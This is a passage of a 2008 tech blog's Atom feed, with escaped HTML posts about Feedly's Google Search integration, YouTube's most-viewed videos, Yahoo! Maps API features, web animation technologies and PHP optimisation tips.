href="http://bp0.blogger.com/_VHplZu23whg/SJM1o_IkPeI/AAAAAAAAAd4/DGcEbHi-2x8/s1600-h/activities_feedly.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_VHplZu23whg/SJM1o_IkPeI/AAAAAAAAAd4/DGcEbHi-2x8/s320/activities_feedly.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229582570565680610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Feedly Secrets&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are still a few secrets to discover about Feedly though. Despite all that it does, you may be surprised to know what more it's capable of. One of the biggest undiscovered gems is that as you "follow" friends on Feedly, you are immediately tapped into their Google Reader Shared Items - even if you're not "Google Friends." Their shared items will show up in Google Reader in a folder called "z.feedly.people." This is great for those who don't use Gmail or GTalk but still want access to people's Google Reader Shares. Friending people right now is somewhat of a difficult process because you have to find users on your own - there's no search feature for finding people. However, this friends feature is said to be getting an overhaul soon and we're looking forward to checking out.&lt;br /&gt;&lt;br /&gt;Spring cleaning is a feature available from the "more" option that helps you eliminate the feeds you don't read. The interface color codes feeds to let you know how much you like them. The colors are as follows:&lt;br /&gt;&lt;br /&gt;    * Red: A candidate for deletion because you are not reading articles from the feed and/or the feed does not seem to produce articles.&lt;br /&gt;    * Orange: Produces a lot more than you are reading&lt;br /&gt;    * Green: You seem to like those feeds a lot.&lt;br /&gt;    * White: Everything else&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Feedly + Google Search Integration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But today's big news is the Feedly+Google Search integration. As you search for a subject in Google, Feedly search results will appear at the top of the page. At present, the search results will only appear if you have related RSS items 7 days old or less&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_VHplZu23whg/SJM2BE3bAiI/AAAAAAAAAeA/uxvXM7dj9QM/s1600-h/feedly_results.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_VHplZu23whg/SJM2BE3bAiI/AAAAAAAAAeA/uxvXM7dj9QM/s320/feedly_results.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229582984421245474" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This integration adds an immediate social filtering aspect to searching the web by promoting your favorite sources to the top of your search results. It even takes into account your reading patterns and the favorite metadata to sort the results.&lt;br /&gt;&lt;br /&gt;With this feature, it doesn't even matter if you want to use Feedly to read feeds - this behind-the-scenes social filtering makes it a killer add-on for anyone who uses Firefox and Google Reader. You can download Feedly from here. &lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-479388451536774322?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/479388451536774322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=479388451536774322' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/479388451536774322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/479388451536774322'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/feedly-now-integrates-with-google.html' title='Feedly Now Integrates With Google Search'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_VHplZu23whg/SJMmnUJ5YfI/AAAAAAAAAdo/jZO9z-wUiCc/s72-c/feedly_mag.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8815690277315366071</id><published>2008-08-01T07:56:00.000-07:00</published><updated>2008-08-01T08:01:41.986-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Watch the top 10 You Tube Videos of all time</title><content type='html'>YouTube has come to define the new era of online video, so let's take a look at their most popular videos of all time.I was expecting something like lonelygirl15 or the original menthos coke video to be number 1. &lt;br /&gt;&lt;span class="fullpost"&gt;YouTube has come to define the new era of online video, so let's take a look at their most popular videos of all time.I was expecting something like lonelygirl15 or the original menthos coke video to be number 1. But no, the most popular video of all time on YouTube, so far, has been Evolution of Dance by comedian Judson Laipply. It was added to YouTube on April 06, 2006 and has since gone on to attract 55.8 Million views. It's had 60,476 comments, the first of which was: "That was freaking AWESOME! Thanks for sharing!!". The comments for this video are still going strong today - the latest 10 comments have all come in the last 30 minutes, as of writing. Plus it's been favorited 252,082 times (making it the number 1 Top Favorited video of All Time).&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/dMH0bHeiRNg"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/dMH0bHeiRNg" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350" &gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;According to a SMH article at the end of 2006, Laipply is a comedian and motivational speaker from Cleveland, Ohio. The video shows him dancing a six-minute routine encompassing 32 songs spanning more than 50 years of music and dance. In many ways this is your typical YouTube video - a funny, goofy, short and clever video, in this case uploaded by and starring a professional comedian. But there are tens of thousands of similar videos on YouTube, uploaded by enthusiastic amateurs (mostly teens).&lt;br /&gt;&lt;br /&gt;Incidentally, on Laipply's website there is an accompanying cat video - proving once and for all that this success story was by and for the Web.&lt;br /&gt;&lt;br /&gt;The next 3 most viewed YouTube videos are all music. Two of them professional, one amatuer.&lt;br /&gt;&lt;br /&gt;2. Avril Lavigne's Girlfriend video, uploaded by RCARecords 5 months ago, has amassed 50 Million views.&lt;br /&gt;&lt;br /&gt;3. My Chemical Romance's Famous Last Words is third, with 35M views.&lt;br /&gt;&lt;br /&gt;4. Guitar, is fourth with 26M views. It's 5 minutes of Queen-like guitar licks, by some very talented dude.&lt;br /&gt;&lt;br /&gt;Rounding out the Top 10:&lt;br /&gt;&lt;br /&gt;5. SNL - Digital Short - A Special Christmas Box (comedy)&lt;br /&gt;&lt;br /&gt;6. Tuƒüba √ñzay ve 250.000ci GarantiArkadas. com √úyesi (I have no idea what this is)&lt;br /&gt;&lt;br /&gt;7. My Chemical Romance - Teenagers (music)&lt;br /&gt;&lt;br /&gt;8. xxx (the title and promo image give the impression it is porn, but in fact it's a sappy Hong Kong pop video)&lt;br /&gt;&lt;br /&gt;9. Beyonce ft. Shakira - Beautiful Liar (mv) (music)&lt;br /&gt;&lt;br /&gt;10. Akon - "Don't Matter" (music)&lt;br /&gt;Conclusion: Music Reigns Supreme&lt;br /&gt;&lt;br /&gt;So in all, 7 of the top 10 are music - with 5 of those being professional videos. And OK Go is number 11 with their famously clever treadmill dancing video for Here It Goes Again. Indeed if you look at the Most Viewed Channels of all time, a lot of them are music companies. Universal Music is number 1 and My Chemical Romance number 3 (CBS is number 2).&lt;br /&gt;&lt;br /&gt;If you're wondering where are all the 'America's Funniest Home Videos'-like ones, there is a laughing baby video at number 12.&lt;br /&gt;&lt;br /&gt;So music and comedy make up the most popular videos on YouTube. And we can also see from this list that professional musicians and entertainers remain more popular than the so-called 'user generated' videos - at least at the toppermost of the poppermost.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8815690277315366071?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8815690277315366071/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8815690277315366071' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8815690277315366071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8815690277315366071'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/watch-top-10-you-tube-videos-of-all.html' title='Watch the top 10 You Tube Videos of all time'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6762741137933041960</id><published>2008-07-25T11:38:00.000-07:00</published><updated>2008-07-25T11:40:13.304-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Maps'/><title type='text'>Some of the common map features and its API Tools..</title><content type='html'>Because many of the features in Yahoo! Maps are offered in the APIs, your users will likely be familiar with what they come across in your applications. Before building your application and implementing the map APIs, it is important to get an overview of the tools that make map applications work. These are many of the fundamentals you will build on in creating your map applications with Yahoo! Maps APIs.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Because many of the features in Yahoo! Maps are offered in the APIs, your users will likely be familiar with what they come across in your applications. Before building your application and implementing the map APIs, it is important to get an overview of the tools that make map applications work. These are many of the fundamentals you will build on in creating your map applications with Yahoo! Maps APIs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Map and Satellite Imagery&lt;/span&gt;&lt;br /&gt;At the core of the map application is the map itself. In most map applications, including Yahoo! Maps, map images are displayed with a combination of tiles. These tiles represent portions of the map cut up into fixed sizes and served to the application. When these tiles are combined, they form the viewable map area. To keep the application running efficiently, only those tiles in view, as well as some additional rows and columns of tiles, are downloaded as a buffer.&lt;br /&gt;&lt;br /&gt;The Yahoo! Maps API offers three different view types and, with these, three different sets of image tiles. The default view, map, presents the standard map tiles. These tiles combine two elements. First is the labels layer, displaying street, landmark and area names. Landmark labels include parks, lakes, shopping malls, learning institutions and railroad tracks, to name a few. The second element is a layer of color-coded areas. An array of simple colors is used to indicate with exceptional accuracy the size and location of bodies of water, roads, commercial zones and recreational areas such as ballparks and marinas. Both elements are generated from data and keep the map tiles fairly small in file size.&lt;br /&gt;&lt;br /&gt;The satellite view, perhaps the most fascinating element of web-based map applications, represents the layer made up of aerial images. These images, mostly taken from a satellite in space, give us a unique perspective on our world. The ideal satellite image will be taken with no clouds and with as little angle as possible. (In some major cities, like New York or Chicago, angles that cause shadows are inevitable due to the height of some buildings.) Satellite images are larger in file size than map images, as they feature high-resolution photography. Like the maps layer, satellite images are cut up into smaller pieces. This allows the map application to download the tiles progressively as opposed to downloading one big image.&lt;br /&gt;&lt;br /&gt;The hybrid view is a combination of both the map and satellite layers. This provides a very effective feature. Street names and labels are displayed on top of satellite images, providing more detailed information and removing some of the obscurity satellite tiles have by themselves. While the satellite tiles in the hybrid view are the same, the map tiles are slightly different. The second element is removed, as described earlier, leaving just the label elements. This creates a transparent effect in the map layer, letting the satellite imagery show through with the street, landmark and area names on top.&lt;br /&gt;&lt;br /&gt;In the map application, a set of buttons enables the user to toggle between map-view types. Working with the API, you can set the map-view type as a default parameter, allowing your users to see either the map, hybrid or satellite layers by default. There are several ways to introduce controls that allow toggling between layers as well. In addition to creating your own buttons with calls like getMapViewTypes(), you can also add a satelliteControlWidget that mimics the buttons in the Yahoo! Maps beta.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Zooming&lt;/span&gt;&lt;br /&gt;Maps have zoom capability to allow the user to display different magnitudes of the same layer. With the satellite images, photographic layers are compiled at several different distances. The map’s layers are rendered at these respective distances as well. The action of moving between these layers, moving your view of the map closer and farther away, is called zooming. Past HTML- and JavaScript-based map applications included zooming.&lt;br /&gt;&lt;br /&gt;However, when zoom levels were changed, the application needed to completely refresh, loading the new layer. Yahoo! Maps APIs allow zooming that does not require the browser to refresh. The Flash APIs also feature a much more dazzling effect. As the user zooms from one distance to the next, the layers actually fade into one another, creating a very attractive transition effect.&lt;br /&gt;&lt;br /&gt;There are 16 zoom levels offered in the APIs. Zoom levels are changed by the user clicking on the zoombar, a user interface element that usually features plus and minus buttons. The plus button zooms in and the minus button zooms out. In the Flash APIs, a slide mechanism is placed between the buttons of the zoombar. When the slider is selected and moved up or down, like to the scrollbar on the side of a web browser, the map will respond by zooming in and out accordingly.&lt;br /&gt;&lt;br /&gt;The zoom level can be set by default when the API loads. By calling methods like setZoomLevel(), you can programmatically modify the zoom level of the API instance. Methods like setCenterByAddressAndZoom() enable you to move the map to a new destination as well as to prompt a zoom level change. In the Flash APIs, changing zoom levels by calling the API methods will induce the transition effects.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Panning&lt;/span&gt;&lt;br /&gt;Akey functionality of web-based map applications is the ability to pan. Commonly referred to as “making the map draggable,” panning is the action of moving the view of the map in any direction. You may be surprised to know that this feature is overall fairly new to map applications. In fact, several map applications still do not have panning abilities. Traditionally, maps without panning require you to click on the direction in which you want to move the map. Once you choose the direction, the application must refresh to collect new tiles. Yahoo! Maps and the API feature a very well implemented ability to pan, and you can do it in several ways.&lt;br /&gt;&lt;br /&gt;In film and television, panning is the technique of moving a camera to create a sweeping shot. The effect is called panoramic. Panning applied to maps creates a transition so the map within the API moves without the component container moving around on the screen. In the API, this is achieved by the masking capabilities of Flash. The best way to pan is to click the map with your mouse and drag it around. Effectively, what you are doing is moving the map view layer, with all its tiles. Because the map view layer downloads tiles as it needs them, panning far enough in any direction will likely prompt the application to download and display additional tiles. A buffer exists to be displayed so the application has tiles to show as you pan beyond the initial downloaded layer.&lt;br /&gt;&lt;br /&gt;A less discoverable, but very effective, way to pan over the map is with your arrow keys. Using your keyboard, the map will pan in the direction of the arrow key you press. Those users who like to use shortcut keys will find this feature very suitable. Like an airplane’s throttle, each key actually moves the map in the opposite direction. Pressing the up-arrow and right-arrow keys simultaneously will move the map diagonally. When working with the API, you add panning functionality as a tool with addTool(). One of the advantages to using the Flash APIs, as we will explore, is the support of a hand icon instead of a mouse cursor. This adds better discoverability to the panning feature, as users know what areas they can drag.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Geo-coding&lt;/span&gt;&lt;br /&gt;A map’s ability to plot an address is called geo-coding. By means of sophisticated backend technology capable of correlating countries, states, cities, ZIP codes, streets and street addresses, an address is turned into latitude and longitude. You may remember latitude and longitude (referred to in maps development as lat/lon) from elementary school. Lat/lon are the axes of a map. Since most developers don’t know lat/lon coordinates by heart, the map APIs offer built-in geo-coding. This means you can pass an address in the API’s initial parameters, then that address will be converted by the server to lat/lon, and the API instance will display and load to that location. You can call a method like setCenterByAddress() to perform a similar function and change the address during runtime. If you do know what your initial lat/lon is, you can set that for when the API loads. By using methods like setCenterByLatLon(), you can change the location the map centers on. A method called getCenter()returns a LatLon object representing the center point of the map. In the event that an address returns an error, the sophisticated API will likely return a SuggestedAddress or an array of them. This can be displayed to your users and help them narrow down address selection.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Markers and Custom Markers&lt;/span&gt;&lt;br /&gt;Markers are locations plotted on a map at specific locations, indicated with icons, images and media. They are placed at lat/lon coordinates derived from the server based on an entered lat/lon or address. Acting as indicators, markers can represent several aspects of data being shown on maps.&lt;br /&gt;Yahoo! Maps APIs offer several ways to display markers, using methods like addMarkerByAddress and addMarkerByLatLon. More impressive are the variety of marker types you can add. ACustomPOIMarker (POI meaning point of interest) can be added and features out-of-the-box interactivity when the user rolls over it. When the user engages this type of marker, a dynamic title will be shown. These markers can be defined with custom colors as well.&lt;br /&gt;&lt;br /&gt;CustomImageMarkers let you define a marker with a JPEG or SWF file. However, with the Flash API you have an even better option. Using CustomSWFMarker not only lets you define a marker with a custom SWF, but also lets you call methods on that SWF with callCustomMethod. Basically, you can create your own Flash movie and serialize it as your marker. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6762741137933041960?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6762741137933041960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6762741137933041960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6762741137933041960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6762741137933041960'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/some-of-common-map-features-and-its-api.html' title='Some of the common map features and its API Tools..'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4512527399838541793</id><published>2008-07-20T03:15:00.001-07:00</published><updated>2008-07-20T03:19:42.364-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='api'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>The working of web animation and technologies used to create them</title><content type='html'>These days, you can find animated figures all across the Internet! There are a number of technologies that web designers use to create animation, including:&lt;br /&gt;&lt;br /&gt;    * Animated GIFs&lt;br /&gt;    * Dynamic HTML&lt;br /&gt;    * Java&lt;br /&gt;    * Shockwave and Flash &lt;br /&gt;&lt;br /&gt;In this article, we'll give you an introduction to how all of these technologies work, along with their advantages and disadvantages. We'll also take a look at the newest innovations that will further expand Web animation!&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction to How Web Animation Works&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These days, you can find animated figures all across the Internet! There are a number of technologies that web designers use to create animation, including:&lt;br /&gt;&lt;br /&gt;    * Animated GIFs&lt;br /&gt;    * Dynamic HTML&lt;br /&gt;    * Java&lt;br /&gt;    * Shockwave and Flash &lt;br /&gt;&lt;br /&gt;In this article, we'll give you an introduction to how all of these technologies work, along with their advantages and disadvantages. We'll also take a look at the newest innovations that will further expand Web animation!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Evolution of Web Animation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In its brief history, the Internet has been constantly and rapidly evolving. Part of this evolution has been driven largely by two opposing forces:&lt;br /&gt;&lt;br /&gt;    * Internet authors and readers always want to be able to transmit more elaborate sorts of content over the Internet.&lt;br /&gt;&lt;br /&gt;    * To reach most users, the file size for Web content has to be small enough to transmit quickly over standard Internet connections (telephone modems). &lt;br /&gt;&lt;br /&gt;These factors have forced Internet innovators to come up with a number of clever tricks for delivering complex content over limited connections. &lt;br /&gt;&lt;br /&gt;In the following sections we will look at how each technology and how they handle these competing forces.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Animated GIFs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One of the biggest innovations in the history of the Internet was the ability to integrate photographs and other illustrations with text on a web page. The illustrations come in the form of bitmap files. A bitmap file simply describes the color of each pixel in the image. To decrease the file size of these bitmap images, several different techniques are used to compress the image data. Typically, Web sites post these sorts of images as either JPEG files or GIF files.&lt;br /&gt;&lt;br /&gt;Animation is just a series of still images shown in sequence, so the most obvious way to add animation to a Web site is to post a series of bitmap images that the user's browser displays in sequence. This sort of animation, called GIF animation, or GIF89, was the first Web animation to catch on, and it is still very popular today.&lt;br /&gt;&lt;br /&gt;The main advantages of GIF animation are that it is incredibly simple to work with and it is automatically recognizable to most Web browsers. With a shareware program, such as GIF construction set for Windows or GifBuilder for Macintosh, all you have to do is provide the individual bitmap images that make up the frames of your animation. You then post the file and code the tag for the image, just as you would with an ordinary static GIF.&lt;br /&gt;&lt;br /&gt;The disadvantage is that you have to keep the animation pretty simple to keep the file size down. After all, each frame is a full bitmap image. Four simple frames transmit very easily to most users, but when you get up to something like 20 frames, your file size could be too big. And you can't even accomplish very much with 20 frames -- the fluid animation we see in movies includes at least 24 still images every second -- so animated GIFs are fairly limited. To create a movie of any substantial length, you have to make pretty big jumps between each frame, which means the animation is not very fluid, as you can see in the example below. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_VHplZu23whg/SIMQfbJ8GAI/AAAAAAAAAa4/yCpF9xa9rKs/s1600-h/gearline1.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SIMQfbJ8GAI/AAAAAAAAAa4/yCpF9xa9rKs/s320/gearline1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038124731340802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SIMQfrJozfI/AAAAAAAAAbA/yp4Nu7x6vDs/s1600-h/gearline2.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SIMQfrJozfI/AAAAAAAAAbA/yp4Nu7x6vDs/s320/gearline2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038129025043954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_VHplZu23whg/SIMQfssWPEI/AAAAAAAAAbI/QkGqg8hlLEQ/s1600-h/gearline3.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_VHplZu23whg/SIMQfssWPEI/AAAAAAAAAbI/QkGqg8hlLEQ/s320/gearline3.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038129439063106" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_VHplZu23whg/SIMQfq7VlpI/AAAAAAAAAbQ/zaZe8-PCIEc/s1600-h/gearline4.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_VHplZu23whg/SIMQfq7VlpI/AAAAAAAAAbQ/zaZe8-PCIEc/s320/gearline4.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038128965064338" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SIMQf7mn_YI/AAAAAAAAAbY/9SgwMaM8phI/s1600-h/gearline5.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SIMQf7mn_YI/AAAAAAAAAbY/9SgwMaM8phI/s320/gearline5.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038133441592706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_VHplZu23whg/SIMQvnEj1pI/AAAAAAAAAbg/h_gDCATVRGQ/s1600-h/gearline-animation.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SIMQvnEj1pI/AAAAAAAAAbg/h_gDCATVRGQ/s320/gearline-animation.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5225038402807912082" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is an excellent way of illustrating a simple concept, or just adding some eye-catching decoration to your site; but Web designers and Web users found it to be wholly inadequate for communicating more complex ideas or adding a real sense of motion to Web sites. Furthermore, you can't add sound to a GIF animation. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dynamic HTML&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As we've seen, the main problem with GIF animation is that each frame of the "movie" adds considerably to the total file size. One way of getting around this problem is to eliminate individual frames entirely. Instead, you simply tell the computer to take one still image and move it across the screen. In a sense, you do this with your computer all the time, when you move the cursor across the screen with your mouse.&lt;br /&gt;&lt;br /&gt;Originally, Web pages were, for the most part, static files -- that is, once you loaded them, they pretty much stayed the same. This is inherent in hypertext markup language (HTML), the basic programming language of Web pages. HTML basically consists of simple tags that tell a Web browser where to display Web page elements.&lt;br /&gt;&lt;br /&gt;As the Internet continued to evolve, Web designers found this static quality fairly limiting. They wanted to add dynamic content to their Web sites -- that is, content that could change once the user had already downloaded a particular Web page. Dynamic HTML, or dHTML, is the term for the software technology that makes this possible. DHTML content is actually produced by using a number of complex scripting languages, such as Javascript, to access something called the document object model on your Internet browser. Basically, the document object model (DOM) controls everything about how a browser displays a Web page. These days, almost all users have browsers that will expose the DOM to scripting languages, so that this script can alter HTML elements (to change the text color as you move the mouse over a word, for example).&lt;br /&gt;&lt;br /&gt;DHTML was not created with animation in mind, but it will let you alter HTML elements in a way that will add movement to a Web page. A dHTML script can simply tell the browser to keep changing the placement of a particular image on the page, so it travels around the screen. If you do this with several different images, you can move a series of graphic elements around each other to make interesting movies.&lt;br /&gt;&lt;br /&gt;Like GIF animation, dHTML animation is automatically recognized by most Web browsers, without the user having to download any extra components. However, it is fairly tricky to create dHTML content that works the same way on all browsers, so this sort of animation is not nearly as simple as GIF animation. Actually coding the animation program yourself is quite difficult, but there are user friendly software applications, such as Macromedia's Dreamweaver, that will produce the correct script code for you.&lt;br /&gt;&lt;br /&gt;DHTML is fairly limited in its animation applications, because all it can really do is move still images around on the screen. It's much more fluid than GIF animation, but for many applications, it is a much less effective way of displaying a changing image. DHTML is pretty much the limit of a Web browser's built-in animation ability. To add more complex animation abilities to the Internet, innovators had to come up with programs that supplemented the users' browsers.&lt;br /&gt;&lt;br /&gt;Java Applets&lt;br /&gt;Another way to provide Web animation is through the universal, network-oriented programming languages known as Java. With Java, programmers can create applications that users download off the Internet. Java-enabled browsers use a virtual machine, a piece of software that recognizes the Java language and translates it for the user's computer system (Windows, MacOS, Unix). The virtual machine is basically a kind of plug-in, and it must be installed with your browser.&lt;br /&gt;&lt;br /&gt;Java Web content is generally created as programs called applets. Applets aren't complete software applications -- they work only in conjunction with a browser. There are all sorts of things Web designers do with applets, and one of the most popular applications is animation. The main advantages of Java are that it works on all operating systems and it is very flexible. You can create an animation program that draws simple vector shapes for the individual frames, or one that uses bitmap images. Java is particularly suited for creating interactive animations and combining animation with other Web page elements. For more information about Java, check out How Computer Programs Work. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4512527399838541793?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4512527399838541793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4512527399838541793' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4512527399838541793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4512527399838541793'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/working-of-web-animation-and.html' title='The working of web animation and technologies used to create them'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_VHplZu23whg/SIMQfbJ8GAI/AAAAAAAAAa4/yCpF9xa9rKs/s72-c/gearline1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8505061761560612749</id><published>2008-07-09T12:22:00.000-07:00</published><updated>2008-07-09T12:31:18.858-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Tips for optimizing your php code</title><content type='html'># If a method can be static, declare it static. Speed improvement is by a factor of 4.&lt;br /&gt;# echo is faster than print.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;# If a method can be static, declare it static. Speed improvement is by a factor of 4.&lt;br /&gt;&lt;br /&gt;# echo is faster than print.&lt;br /&gt;&lt;br /&gt;# Use echo's multiple parameters instead of string concatenation.&lt;br /&gt;&lt;br /&gt;# Set the maxvalue for your for-loops before and not in the loop.&lt;br /&gt;&lt;br /&gt;# Unset your variables to free memory, especially large arrays.&lt;br /&gt;&lt;br /&gt;# Avoid magic like __get, __set, __autoload&lt;br /&gt;&lt;br /&gt;# require_once() is expensive&lt;br /&gt;&lt;br /&gt;# Use full paths in includes and requires, less time spent on resolving the OS paths.&lt;br /&gt;&lt;br /&gt;# If you need to find out the time when the script started executing, &lt;br /&gt;$_SERVER[’REQUEST_TIME’] is preferred to time()&lt;br /&gt;&lt;br /&gt;# See if you can use strncasecmp, strpbrk and stripos instead of 